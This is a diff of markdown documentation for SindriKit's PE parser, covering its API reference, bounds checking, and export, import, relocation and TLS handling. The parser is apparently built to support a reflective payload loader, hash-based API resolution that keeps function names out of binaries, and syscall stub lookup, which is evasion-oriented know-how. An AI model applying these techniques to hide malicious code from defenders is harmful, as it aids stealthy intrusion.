| `src/parsers/pe/section_utils.c` | Section helpers |
|
||||||
|
|
||||||
|
## Table of Contents
|
||||||
|
|
||||||
|
- [techniques.md](techniques.md) — PE format, bounds model, export/import/reloc mechanics
|
||||||
|
- [api_reference.md](api_reference.md) — full public PE API
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Parsers domain](../README.md)
|
||||||
|
- [Env parser](../env/README.md) — PEB walking for forwarders and `snd_mod_nt`
|
||||||
@@ -0,0 +1,224 @@
|
|||||||
|
# PE Parser: API Reference
|
||||||
|
|
||||||
|
Public PE parser API under `include/sindri/parsers/pe/`. Include `sindri/parsers/pe.h` or `sindri/parsers.h` for the full surface.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Core Parser (`sindri/parsers/pe/parser.h`)
|
||||||
|
|
||||||
|
### `snd_pe_parse`
|
||||||
|
|
||||||
|
Validates and parses a raw or mapped PE buffer into a `snd_pe_parser_t` context. Checks the DOS signature (`MZ`), NT signature (`PE\0\0`), and Optional Header magic (`0x10B` PE32, `0x20B` PE32+).
|
||||||
|
|
||||||
|
| Parameter | Type | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| `buf` | `const snd_buffer_t*` | Buffer containing PE data (pointer + size) |
|
||||||
|
| `is_mapped` | `BOOL` | `FALSE` for raw file layout, `TRUE` for virtually mapped image |
|
||||||
|
| `parser` | `snd_pe_parser_t*` | Output context to populate |
|
||||||
|
|
||||||
|
**Returns:** `snd_status_t` — `SND_OK` or a parse error (`SND_STATUS_INVALID_DOS_SIGNATURE`, `SND_STATUS_DOS_HEADER_TRUNCATED`, `SND_STATUS_NT_HEADERS_TRUNCATED`, `SND_STATUS_UNSUPPORTED_OPTIONAL_HEADER_MAGIC`, etc.)
|
||||||
|
|
||||||
|
**Source:** `src/parsers/pe/parser.c`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_pe_parser_t`
|
||||||
|
|
||||||
|
| Field | Type | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| `source` | `snd_buffer_t` | Backing buffer (base pointer + tracked size) |
|
||||||
|
| `dos` | `PIMAGE_DOS_HEADER` | DOS header pointer into `source` |
|
||||||
|
| `nt.nt32` | `PIMAGE_NT_HEADERS32` | Valid when `is_64bit == FALSE` |
|
||||||
|
| `nt.nt64` | `PIMAGE_NT_HEADERS64` | Valid when `is_64bit == TRUE` |
|
||||||
|
| `section_head` | `PIMAGE_SECTION_HEADER` | First section header entry |
|
||||||
|
| `string_table` | `BYTE*` | COFF string table (raw files only) |
|
||||||
|
| `is_64bit` | `BOOL` | `TRUE` for PE32+ |
|
||||||
|
| `is_dll` | `BOOL` | `TRUE` if `IMAGE_FILE_DLL` is set |
|
||||||
|
| `is_mapped` | `BOOL` | Layout mode passed to `snd_pe_parse` |
|
||||||
|
| `sections_count` | `DWORD` | Number of section headers |
|
||||||
|
| `imports_rva` | `DWORD` | Cached import directory RVA |
|
||||||
|
| `import_size` | `DWORD` | Cached import directory size |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Macros
|
||||||
|
|
||||||
|
| Macro | Value | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| `SND_PE_GET_NT_FIELD(parser, field)` | — | Reads an Optional Header field without bitness branching |
|
||||||
|
| `SND_SYS_DLL_SIZE_DEFAULT` | `0x1000` | Bootstrap bound for in-memory system DLL parsing |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Utilities (`sindri/parsers/pe/utils.h`)
|
||||||
|
|
||||||
|
| Macro | Value | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| `SND_PE_MIN_FILE_ALIGNMENT` | `512` | Minimum valid file alignment (RVA translation) |
|
||||||
|
|
||||||
|
### `snd_pe_compatibility_check`
|
||||||
|
|
||||||
|
Validates payload bitness against the host process.
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `is_64bit` | `TRUE` if the payload is 64-bit |
|
||||||
|
|
||||||
|
**Returns:** `BOOL` — `TRUE` if compatible
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_pe_get_entry_point`
|
||||||
|
|
||||||
|
Computes the absolute entry point from `AddressOfEntryPoint` via `snd_pe_rva_to_ptr`.
|
||||||
|
|
||||||
|
**Returns:** `void*` — entry point address, or `NULL`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_pe_get_tls_callbacks`
|
||||||
|
|
||||||
|
Retrieves the TLS callback array pointer from the TLS data directory.
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `base_address` | Runtime base of the mapped image |
|
||||||
|
| `parser` | Parsed PE context |
|
||||||
|
|
||||||
|
**Returns:** `PVOID` — callback array pointer, or `NULL`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_pe_execute_tls_callbacks`
|
||||||
|
|
||||||
|
Invokes each TLS callback with the specified reason. Requires `parser->is_mapped == TRUE`.
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `virtual_base` | Mapped image base |
|
||||||
|
| `parser` | Parsed PE context |
|
||||||
|
| `reason` | e.g. `DLL_PROCESS_ATTACH` |
|
||||||
|
|
||||||
|
**Returns:** `SND_OK` (including when no TLS directory exists), `SND_STATUS_ARCH_MISMATCH`, `SND_STATUS_UNSUPPORTED`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_pe_rva_to_ptr`
|
||||||
|
|
||||||
|
Translates an RVA to a pointer within the parser's tracked buffer with bounds checking.
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `parser` | Parsed PE context |
|
||||||
|
| `rva` | Relative Virtual Address |
|
||||||
|
| `size` | Expected data size at the target (for bounds check) |
|
||||||
|
|
||||||
|
**Returns:** `PVOID` — data pointer, or `NULL` if out of bounds
|
||||||
|
|
||||||
|
For mapped images: `source.base + rva`. For raw files: section-table translation with file alignment handling.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_pe_get_directory`
|
||||||
|
|
||||||
|
Safely retrieves a data directory entry by index.
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `index` | e.g. `IMAGE_DIRECTORY_ENTRY_IMPORT`, `IMAGE_DIRECTORY_ENTRY_EXPORT` |
|
||||||
|
| `dir_out` | Output `IMAGE_DATA_DIRECTORY` |
|
||||||
|
|
||||||
|
**Returns:** `SND_OK`, or `SND_STATUS_DIRECTORY_NOT_FOUND`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Export Resolution (`sindri/parsers/pe/exports.h`)
|
||||||
|
|
||||||
|
Both export functions share a unified implementation and the **same forwarder resolver type** (`snd_module_resolver_cb`).
|
||||||
|
|
||||||
|
### `snd_pe_get_export_address`
|
||||||
|
|
||||||
|
Resolves an export by name or ordinal.
|
||||||
|
|
||||||
|
| Parameter | Type | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| `base_address` | `PVOID` | Base of the mapped PE image |
|
||||||
|
| `size` | `SIZE_T` | Image size for bounds checking; pass `SND_SYS_DLL_SIZE_DEFAULT` to auto-expand from headers |
|
||||||
|
| `func_name` | `const char*` | Export name, or ordinal via `MAKEINTRESOURCE(n)` |
|
||||||
|
| `func_addr_out` | `FARPROC*` | Receives resolved address |
|
||||||
|
| `resolver` | `snd_module_resolver_cb` | Wide-name module lookup for forwarders; `NULL` fails forwarders |
|
||||||
|
|
||||||
|
**Returns:** `SND_OK`, `SND_STATUS_EXPORT_NOT_FOUND`, `SND_STATUS_EXPORT_DIRECTORY_INVALID`, `SND_STATUS_EXPORT_FORWARDER_UNSUPPORTED`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_pe_get_export_address_hash`
|
||||||
|
|
||||||
|
Hash-based export resolution using compile-time hashes from `sindri_hashes.h`.
|
||||||
|
|
||||||
|
| Parameter | Type | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| `func_hash` | `DWORD` | Pre-computed hash of the export name |
|
||||||
|
| `resolver` | `snd_module_resolver_cb` | Same wide-name resolver used by the string variant |
|
||||||
|
|
||||||
|
All other parameters match `snd_pe_get_export_address`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `SND_FWD_MAX_DEPTH`
|
||||||
|
|
||||||
|
**Value:** `4` — maximum recursion depth for export forwarder chains.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Import Resolution (`sindri/parsers/pe/imports.h`)
|
||||||
|
|
||||||
|
### `snd_pe_resolve_imports`
|
||||||
|
|
||||||
|
Walks the Import Descriptor table and patches the IAT. Requires a mapped image.
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `base_address` | Runtime base of the mapped image |
|
||||||
|
| `mod_api` | Module API with `load_library` and `get_proc_address` populated |
|
||||||
|
| `parser` | Parsed PE context with `is_mapped == TRUE` |
|
||||||
|
|
||||||
|
**Returns:** `SND_OK`, or import errors (`SND_STATUS_IMPORT_DLL_LOAD_FAILED`, `SND_STATUS_IMPORT_SYMBOL_RESOLVE_FAILED`, `SND_STATUS_IMPORT_THUNK_INVALID`, etc.)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Ordinal Macros
|
||||||
|
|
||||||
|
| Macro | Description |
|
||||||
|
|---|---|
|
||||||
|
| `SND_PE_SNAP_BY_ORDINAL32(ordinal)` | High bit set on 32-bit thunk |
|
||||||
|
| `SND_PE_SNAP_BY_ORDINAL64(ordinal)` | High bit set on 64-bit thunk |
|
||||||
|
| `SND_PE_ORDINAL(ordinal)` | Extracts 16-bit ordinal value |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Base Relocations (`sindri/parsers/pe/relocations.h`)
|
||||||
|
|
||||||
|
### `snd_pe_apply_relocations`
|
||||||
|
|
||||||
|
Patches absolute addresses in a mapped image by `delta_offset`. Early-exits when `delta_offset == 0`.
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `base_address` | Actual runtime base |
|
||||||
|
| `delta_offset` | `actual_base - preferred ImageBase` |
|
||||||
|
| `parser` | Parsed context with `is_mapped == TRUE` |
|
||||||
|
|
||||||
|
**Returns:** `SND_OK`, `SND_STATUS_RELOCATION_DIRECTORY_INVALID`, `SND_STATUS_RELOCATION_PATCH_OUT_OF_RANGE`, `SND_STATUS_RELOCATION_TYPE_UNSUPPORTED`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Internal (`sindri/parsers/pe/section_utils.h`)
|
||||||
|
|
||||||
|
| Function | Notes |
|
||||||
|
|---|---|
|
||||||
|
| `snd_pe_section_name` | Resolves section names including COFF string table |
|
||||||
|
| `snd_pe_section_copy_size` | Raw-to-virtual copy size |
|
||||||
|
| `snd_pe_section_loaded_size` | Final virtual section size |
|
||||||
|
|
||||||
|
Marked internal — used by the reflective loader engine.
|
||||||
@@ -0,0 +1,186 @@
|
|||||||
|
# PE Parser: Techniques
|
||||||
|
|
||||||
|
The PE parser is the structural foundation every higher-level SindriKit domain sits on. Reflective loaders use it to validate and map payloads. Syscall and NT primitives use export resolution to locate `Nt*` stubs. Import fixups use it to walk descriptor tables and patch the IAT.
|
||||||
|
|
||||||
|
**Canonical reference:** [PE Format Specification](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## PE Format Overview
|
||||||
|
|
||||||
|
A Portable Executable file is laid out as a sequence of structured headers followed by variable-length sections:
|
||||||
|
|
||||||
|
```
|
||||||
|
[ IMAGE_DOS_HEADER ] "MZ" — compatibility stub and e_lfanew offset
|
||||||
|
[ MS-DOS Stub ] legacy stub program
|
||||||
|
[ IMAGE_NT_HEADERS ] "PE\0\0" signature + FILE_HEADER + OPTIONAL_HEADER
|
||||||
|
[ IMAGE_SECTION_HEADER[] ] one per section: name, VirtualAddress, PointerToRawData, sizes
|
||||||
|
[ Section Data ] .text, .data, .rdata, .reloc, .tls, ...
|
||||||
|
```
|
||||||
|
|
||||||
|
The Optional Header contains the `DataDirectory` array — 16 entries pointing to the Import Table, Export Table, Base Relocation Table, TLS Table, and others. All in-image references use Relative Virtual Addresses (RVAs): offsets from the image base, not file offsets.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Zero-Copy Parsing Model
|
||||||
|
|
||||||
|
`snd_pe_parse` performs **zero-copy parsing**. Pointers inside `snd_pe_parser_t` (`dos`, `nt`, `section_head`) point directly into the caller's buffer. No heap allocations occur inside the parser.
|
||||||
|
|
||||||
|
The parser context lifecycle is strictly bound to the backing `snd_buffer_t`. If the buffer is freed or relocated, all cached pointers become invalid.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## The `snd_pe_parser_t` Context
|
||||||
|
|
||||||
|
`snd_pe_parse` populates a context that caches critical pointers and flags for subsequent directory operations:
|
||||||
|
|
||||||
|
| Field | Description |
|
||||||
|
|---|---|
|
||||||
|
| `source` | Copy of the input buffer descriptor (base + size) |
|
||||||
|
| `dos` | Pointer to `IMAGE_DOS_HEADER` inside `source` |
|
||||||
|
| `nt.nt32` / `nt.nt64` | Union covering PE32 and PE32+ NT headers |
|
||||||
|
| `section_head` | Pointer to the first `IMAGE_SECTION_HEADER` |
|
||||||
|
| `string_table` | COFF string table pointer (raw files only; `NULL` for mapped images) |
|
||||||
|
| `is_64bit` | `TRUE` for PE32+ |
|
||||||
|
| `is_dll` | `TRUE` if `IMAGE_FILE_DLL` is set |
|
||||||
|
| `is_mapped` | Layout mode flag (see below) |
|
||||||
|
| `sections_count` | Number of section headers (clamped to available buffer space) |
|
||||||
|
| `imports_rva` / `import_size` | Cached import directory location |
|
||||||
|
|
||||||
|
Use `SND_PE_GET_NT_FIELD(parser, field)` to read Optional Header fields without branching on bitness at every call site.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## The `is_mapped` Flag: File vs. Memory Layout
|
||||||
|
|
||||||
|
This is the most operationally significant choice at parse time.
|
||||||
|
|
||||||
|
**Raw file layout (`is_mapped = FALSE`):** Sections live at `PointerToRawData` in the file. RVA translation requires the section table — finding which section contains the RVA and computing the file offset as `PointerToRawData + (rva - VirtualAddress)`.
|
||||||
|
|
||||||
|
**Mapped image layout (`is_mapped = TRUE`):** Sections are laid out at their `VirtualAddress` from the image base. An RVA translates directly to `base + rva`.
|
||||||
|
|
||||||
|
`snd_pe_rva_to_ptr` branches on `parser->is_mapped`. Typical usage:
|
||||||
|
|
||||||
|
| Buffer | `is_mapped` | Consumer |
|
||||||
|
|---|---|---|
|
||||||
|
| Payload read from disk | `FALSE` | Reflective loader input validation |
|
||||||
|
| KnownDlls-mapped `ntdll.dll` | `TRUE` | Syscall SSN resolution, export lookup |
|
||||||
|
| Locally mapped reflective image | `TRUE` | Import fixup, relocations, TLS |
|
||||||
|
|
||||||
|
Passing the wrong flag produces out-of-bounds reads (caught by bounds checks) or silent reads from wrong offsets.
|
||||||
|
|
||||||
|
> [!NOTE]
|
||||||
|
> `snd_pe_resolve_imports`, `snd_pe_apply_relocations`, and `snd_pe_execute_tls_callbacks` **require** `is_mapped = TRUE`. They operate on a virtually laid-out image, not a raw file buffer.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Bounds Checking Philosophy
|
||||||
|
|
||||||
|
Every directory and section access routes through `snd_pe_rva_to_ptr`, which validates that `(rva, size)` lies entirely within the tracked buffer before returning a pointer. Violations return `NULL`; callers must check.
|
||||||
|
|
||||||
|
Header parsing additionally uses `snd_buffer_bounds_check` from the common buffer layer during the bootstrap parse in `snd_pe_parse`.
|
||||||
|
|
||||||
|
### The 4KB Bootstrap Window (`SND_SYS_DLL_SIZE_DEFAULT`)
|
||||||
|
|
||||||
|
Parsing in-memory system DLLs presents a bootstrapping problem: `OptionalHeader.SizeOfImage` lives inside the headers, but reading it requires a known buffer bound first.
|
||||||
|
|
||||||
|
`SND_SYS_DLL_SIZE_DEFAULT` (`0x1000`) is a conservative one-page bootstrap window — sufficient for DOS + NT headers + section table on known system DLLs.
|
||||||
|
|
||||||
|
The export resolver (`snd_pe_get_export_address*`) automatically expands the parser's tracked size to `SizeOfImage` when the caller passes `SND_SYS_DLL_SIZE_DEFAULT` and the parsed image reports a larger size.
|
||||||
|
|
||||||
|
> [!IMPORTANT]
|
||||||
|
> When using `snd_pe_parse` directly on an in-memory image, update `parser->source.size` to `OptionalHeader.SizeOfImage` after a successful parse before calling directory functions. Leaving it at `0x1000` causes subsequent `snd_pe_rva_to_ptr` calls for imports, exports, and relocations to fail bounds checks.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Export Table Resolution
|
||||||
|
|
||||||
|
Export resolution is implemented by a **single unified engine** (`pe_get_export_address_impl` in `src/parsers/pe/exports.c`) shared by both public entry points:
|
||||||
|
|
||||||
|
| Function | Lookup mode |
|
||||||
|
|---|---|
|
||||||
|
| `snd_pe_get_export_address` | Name string, or ordinal via `MAKEINTRESOURCE` |
|
||||||
|
| `snd_pe_get_export_address_hash` | Compile-time hash from `sindri_hashes.h` (algorithm set by `SND_HASH_ALGO`) |
|
||||||
|
|
||||||
|
Both functions accept the same forwarder resolver type: `snd_module_resolver_cb` — a wide-name module base lookup (`const wchar_t *module_name, PVOID *out_base`). There is no separate hash-based resolver callback for forwarders; the engine converts forwarder DLL prefixes to wide strings and calls the same resolver.
|
||||||
|
|
||||||
|
### Resolution Flow
|
||||||
|
|
||||||
|
1. Bootstrap-parse the target image with `is_mapped = TRUE`.
|
||||||
|
2. Expand buffer size from `SizeOfImage` when using `SND_SYS_DLL_SIZE_DEFAULT`.
|
||||||
|
3. Locate the export directory via `snd_pe_get_directory`.
|
||||||
|
4. Resolve by ordinal (`IS_INTRESOURCE`), name iteration, or hash comparison.
|
||||||
|
5. If the function RVA falls inside the export directory itself, treat it as a **forwarder**.
|
||||||
|
|
||||||
|
### Export Forwarders
|
||||||
|
|
||||||
|
Forwarder RVAs point into the export directory and contain strings like `NTDLL.RtlMoveMemory`. The engine:
|
||||||
|
|
||||||
|
1. Splits on `.`, appends `.dll` to the module prefix.
|
||||||
|
2. Calls `resolver(wfwd_dll, &fwd_base)` to locate the target module.
|
||||||
|
3. Recurses into the forwarded export (name or re-hashed name for hash mode).
|
||||||
|
4. Supports ordinal forwarders (`MODULE.#123`).
|
||||||
|
|
||||||
|
Recursion depth is capped at `SND_FWD_MAX_DEPTH` (4). Pass `NULL` as `resolver` to fail forwarders with `SND_STATUS_EXPORT_FORWARDER_UNSUPPORTED`.
|
||||||
|
|
||||||
|
Typical resolver wiring in NT primitives:
|
||||||
|
|
||||||
|
```c
|
||||||
|
status = snd_pe_get_export_address_hash(
|
||||||
|
ntdll, SND_SYS_DLL_SIZE_DEFAULT, SND_HASH_NTOPENSECTION,
|
||||||
|
&func_addr, snd_peb_get_module_base /* wide-name PEB walk */
|
||||||
|
);
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Import Table Parsing
|
||||||
|
|
||||||
|
The import table is a null-terminated array of `IMAGE_IMPORT_DESCRIPTOR` structures. Each descriptor references:
|
||||||
|
|
||||||
|
- **Import Name Table (INT)** — original thunks (`OriginalFirstThunk`, or `FirstThunk` if absent)
|
||||||
|
- **Import Address Table (IAT)** — patched at load time (`FirstThunk`)
|
||||||
|
|
||||||
|
`snd_pe_resolve_imports` walks each descriptor:
|
||||||
|
|
||||||
|
1. Read the DLL name and call `mod_api->load_library`.
|
||||||
|
2. Iterate the thunk array. Ordinals are detected via `SND_PE_SNAP_BY_ORDINAL32`/`64` (high bit set).
|
||||||
|
3. Resolve symbols via `mod_api->get_proc_address` (including ordinal imports via `MAKEINTRESOURCE`).
|
||||||
|
4. Write resolved addresses into IAT slots.
|
||||||
|
|
||||||
|
All module loading and symbol resolution is delegated to the injected `mod_api`, inheriting its OpSec profile (`snd_mod_win` vs `snd_mod_nt`).
|
||||||
|
|
||||||
|
**Requirements:** mapped image (`is_mapped = TRUE`), non-NULL `mod_api->load_library` and `mod_api->get_proc_address`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Base Relocations
|
||||||
|
|
||||||
|
PE images embed absolute virtual addresses assuming load at `ImageBase`. When mapped elsewhere, every pointer is wrong by `delta = actual_base - preferred_base`.
|
||||||
|
|
||||||
|
The `.reloc` section contains `IMAGE_BASE_RELOCATION` blocks. Each block covers a 4KB page with 12-bit offsets and 4-bit type tags. SindriKit patches:
|
||||||
|
|
||||||
|
- `IMAGE_REL_BASED_DIR64` — QWORD add on x64
|
||||||
|
- `IMAGE_REL_BASED_HIGHLOW` — DWORD add on x86
|
||||||
|
- `IMAGE_REL_BASED_ABSOLUTE` — skipped (padding)
|
||||||
|
|
||||||
|
If `delta_offset == 0`, the function returns immediately with `SND_OK`.
|
||||||
|
|
||||||
|
If the image has no relocation directory, an empty directory, or `IMAGE_FILE_RELOCS_STRIPPED` is set while `delta != 0`, the function returns `SND_STATUS_RELOCATION_DIRECTORY_INVALID`.
|
||||||
|
|
||||||
|
> [!NOTE]
|
||||||
|
> The mapped image must have at least `PAGE_READWRITE` on affected pages — the function physically overwrites pointer-sized values in `.text` and `.data`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## TLS Callbacks
|
||||||
|
|
||||||
|
TLS callback arrays are located via the TLS data directory. `snd_pe_get_tls_callbacks` translates `AddressOfCallBacks` from image-base-relative to RVA, accounting for mapped vs preferred base.
|
||||||
|
|
||||||
|
`snd_pe_execute_tls_callbacks` iterates the null-terminated callback pointer array and invokes each entry with the specified reason (`DLL_PROCESS_ATTACH`, etc.). Requires a mapped image and matching host/payload architecture.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Internal Section Helpers
|
||||||
|
|
||||||
|
`section_utils.h` exposes helpers used by the reflective loader engine (`snd_pe_section_name`, `snd_pe_section_copy_size`, `snd_pe_section_loaded_size`). These are not part of the general-purpose parser contract and are marked internal in their header comments.
|
||||||
@@ -1,118 +0,0 @@
|
|||||||
# PE Parser: Techniques
|
|
||||||
|
|
||||||
The parsers subsystem is the structural foundation that every higher-level SindriKit domain sits on. The reflective loader uses it to validate and map payloads. The syscall resolution pipeline uses it to walk `ntdll.dll`'s export table. The import resolver uses it to iterate descriptor tables and patch the IAT. Understanding how the parser works — and where it makes safety trade-offs — is necessary for using it correctly in both standard and adversarial contexts.
|
|
||||||
|
|
||||||
**Canonical reference:** [PE Format Specification](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format) — Microsoft Learn
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## PE Format Overview
|
|
||||||
|
|
||||||
A Portable Executable file is laid out as a sequence of structured headers followed by a set of variable-length sections:
|
|
||||||
|
|
||||||
```
|
|
||||||
[ IMAGE_DOS_HEADER ] "MZ" — compatibility stub and e_lfanew offset
|
|
||||||
[ MS-DOS Stub ] legacy stub program
|
|
||||||
[ IMAGE_NT_HEADERS ] "PE\0\0" signature + FILE_HEADER + OPTIONAL_HEADER
|
|
||||||
[ IMAGE_SECTION_HEADER[] ] one per section: name, VirtualAddress, PointerToRawData, sizes
|
|
||||||
[ Section Data ] .text, .data, .rdata, .reloc, .tls, ...
|
|
||||||
```
|
|
||||||
|
|
||||||
The Optional Header (despite its name, mandatory for executable images) contains the `DataDirectory` array — 16 entries pointing to structures like the Import Table, Export Table, Base Relocation Table, and TLS Table. All directory and section references within a PE are expressed as Relative Virtual Addresses (RVAs): offsets from the image base, not file offsets.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## The `snd_pe_parser_t` Context
|
|
||||||
|
|
||||||
`snd_pe_parse` populates a `snd_pe_parser_t` structure that caches all critical pointers and flags needed for subsequent directory operations. The key fields:
|
|
||||||
|
|
||||||
| Field | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `source` | `snd_buffer_t` | Copy of the buffer descriptor (base pointer + size) |
|
|
||||||
| `dos` | `PIMAGE_DOS_HEADER` | Direct pointer into the source buffer |
|
|
||||||
| `nt.nt32` / `nt.nt64` | union | NT headers pointer — union covers both PE32 and PE32+ |
|
|
||||||
| `section_head` | `PIMAGE_SECTION_HEADER` | Pointer to the first section header |
|
|
||||||
| `is_64bit` | `BOOL` | TRUE for PE32+ (64-bit), FALSE for PE32 (32-bit) |
|
|
||||||
| `is_dll` | `BOOL` | TRUE if `IMAGE_FILE_DLL` characteristic is set |
|
|
||||||
| `is_mapped` | `BOOL` | TRUE if the buffer is a loaded image, FALSE if it is a raw file |
|
|
||||||
| `sections_count` | `DWORD` | Number of section headers |
|
|
||||||
| `imports_rva` | `DWORD` | Cached RVA of the import directory |
|
|
||||||
| `import_size` | `DWORD` | Cached size of the import directory |
|
|
||||||
|
|
||||||
The `SND_PE_GET_NT_FIELD(parser, field)` macro abstracts the 32/64-bit union, allowing callers to read header fields without branching on `is_64bit` at every call site.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## The `is_mapped` Flag: File vs. Memory Layout
|
|
||||||
|
|
||||||
This flag is the most operationally significant choice made at parse time, and getting it wrong produces silent, hard-to-diagnose failures.
|
|
||||||
|
|
||||||
**Raw file layout (disk):** Sections live at `PointerToRawData` within the file. A section whose `VirtualAddress` is `0x1000` might have a `PointerToRawData` of `0x400`. A tool reading a raw PE from disk must convert RVAs using the section table — finding which section the RVA falls into and computing the file offset as `PointerToRawData + (rva - VirtualAddress)`.
|
|
||||||
|
|
||||||
**Mapped image layout (memory):** After a PE is mapped into virtual memory, sections live at their `VirtualAddress` from the image base. The OS (or the reflective loader) has already performed the section layout. An RVA translates directly to `base + rva`.
|
|
||||||
|
|
||||||
`snd_pe_rva_to_ptr` checks `parser->is_mapped` and branches accordingly. The same parser code path is used for:
|
|
||||||
- The reflective loader's **input payload** — a raw file read from disk → `is_mapped = FALSE`
|
|
||||||
- A **KnownDlls-mapped `ntdll.dll`** used for SSN resolution → `is_mapped = TRUE`
|
|
||||||
|
|
||||||
Passing the wrong flag produces either out-of-bounds reads (crashing cleanly if bounds checks fire) or silent reads from wrong offsets producing garbage data.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Bounds Checking and Parser Safety
|
|
||||||
|
|
||||||
SindriKit's parser is designed to fail safely against malformed or weaponized PE inputs. Every data directory and section access is routed through `snd_pe_rva_to_ptr`, which validates that the requested `(rva, size)` region lies entirely within the tracked buffer bounds before returning a pointer. On any violation, it returns `NULL`, which callers must check.
|
|
||||||
|
|
||||||
### The 4KB Bootstrap Window (`SND_SYS_DLL_SIZE_DEFAULT`)
|
|
||||||
|
|
||||||
Parsing in-memory system DLLs (e.g., a KnownDlls-mapped `ntdll.dll`) presents a bootstrapping problem: the total image size is stored inside the `OptionalHeader.SizeOfImage` field, but to read that field, the headers must first be parsed, which requires a known buffer bound.
|
|
||||||
|
|
||||||
`SND_SYS_DLL_SIZE_DEFAULT` is defined as `0x1000` (4096 bytes — one virtual page). It acts as a conservative initial bound: sufficient to contain the DOS header, NT headers, and section table for every known system DLL, but small enough to limit exposure if the input is malformed.
|
|
||||||
|
|
||||||
> [!IMPORTANT]
|
|
||||||
> After `snd_pe_parse` succeeds on an in-memory image, the operator **must** update the parser's `source.size` field to `OptionalHeader.SizeOfImage` before calling any directory resolution function. Leaving it clamped at `0x1000` will cause all subsequent `snd_pe_rva_to_ptr` calls for data directories (imports, exports, relocations) to be rejected as out-of-bounds.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Export Table Parsing
|
|
||||||
|
|
||||||
SindriKit resolves exports from a PE by walking the `IMAGE_EXPORT_DIRECTORY`. The directory contains three parallel arrays:
|
|
||||||
- `AddressOfNames` — RVAs to null-terminated function name strings
|
|
||||||
- `AddressOfNameOrdinals` — 16-bit ordinal indices into the functions array
|
|
||||||
- `AddressOfFunctions` — RVAs to the actual function entry points
|
|
||||||
|
|
||||||
For name-based resolution, SindriKit iterates the names array (or uses binary search when the names are sorted, as is standard) to find the target, retrieves the corresponding ordinal, then indexes `AddressOfFunctions`.
|
|
||||||
|
|
||||||
For **hash-based resolution** (`snd_pe_get_export_address_by_hash`), each export name is hashed at resolution time using the configured algorithm (DJB2 by default) and compared against the target hash. This eliminates all plaintext function name strings from the binary.
|
|
||||||
|
|
||||||
### Export Forwarders
|
|
||||||
|
|
||||||
Some exports are forwarders — their RVA points into the export directory itself (rather than a function body) and contains a string like `NTDLL.RtlMoveMemory`. SindriKit resolves forwarders recursively by splitting the string, looking up the named module via the injected `resolver` callback, and repeating the export search in the target module. The recursion depth is capped at `SND_FWD_MAX_DEPTH` (4) to prevent cycles or intentionally deep forwarder chains from looping indefinitely.
|
|
||||||
|
|
||||||
Pass `NULL` as the `resolver` argument to forcefully fail forwarder resolution with `SND_STATUS_EXPORT_FORWARDER_UNSUPPORTED`.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Import Table Parsing
|
|
||||||
|
|
||||||
The import table is a null-terminated array of `IMAGE_IMPORT_DESCRIPTOR` structures, one per dependency DLL. Each descriptor points to two parallel thunk arrays:
|
|
||||||
- **Import Name Table (INT)** — original references, untouched after loading
|
|
||||||
- **Import Address Table (IAT)** — populated with resolved addresses at load time
|
|
||||||
|
|
||||||
For each descriptor, `snd_pe_resolve_imports`:
|
|
||||||
1. Reads the DLL name from the descriptor and calls `mod_api->load_library`.
|
|
||||||
